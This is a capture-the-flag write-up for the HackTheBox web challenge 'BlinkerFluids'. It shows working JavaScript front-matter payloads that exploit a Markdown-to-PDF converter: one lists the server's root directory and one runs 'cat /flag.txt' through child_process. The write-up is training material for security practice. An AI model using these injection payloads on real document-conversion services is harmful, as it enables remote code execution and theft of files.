BlinkerFluids

Platform: HackTheBox | Category: Web | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Once known as an imaginary liquid used in automobiles to make the blinkers work is now one of the rarest fuels invented on Klaus' home planet Vinyr. The Golden Fang army has a free reign over this miraculous fluid essential for space travel thanks to the Blinker Fluids™ Corp. Ulysses has infiltrated this supplier organization's one of the HR department tools and needs your help to get into their server. Can you help him?

Solution Approach

Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.

Steps

1. First, open the host given.

2. Try to see the pdf file.

3. Nothing that could be our interest here, so let us check the source code.

4. Next Researching MD revealed to PDF vulnerability and found out there's a CVE it.

5. Seems we can do RCE.

6. Checking the github issue and found another payload we can use.

7. Little bit confused for the first payload we got, but use the other one with more thumbs up :D.

---js
{
    css: `body::before { content: "${require('fs').readdirSync('/').join()}"; display: block }`,
}
---

1. Copy the payload -> create new invoice -> paste the script -> save. Open the pdf file.

2. Great we listed all the files and directories, notice there's a flag.txt file. Now to cat the flag we can utilize the payload we got at first. Grab this one and modify the payload

FROM

---js
{
    css: `body::before { content: "${}"; display: block }`,
}
---

TO

---js
{
    css: `body::before { content: "${require('child_process').execSync('cat /flag.txt')}"; display: block }`,
}
---

1. Now create new invoice again -> paste the payload -> save it -> open the pdf.

2. Got the flag!

Flag

REDACTED

Lessons Learned

1. Identify the weakness from source review or fingerprinting first.
2. Iterate with incremental payloads instead of guessing.
3. Reuse the same pattern in future engagements.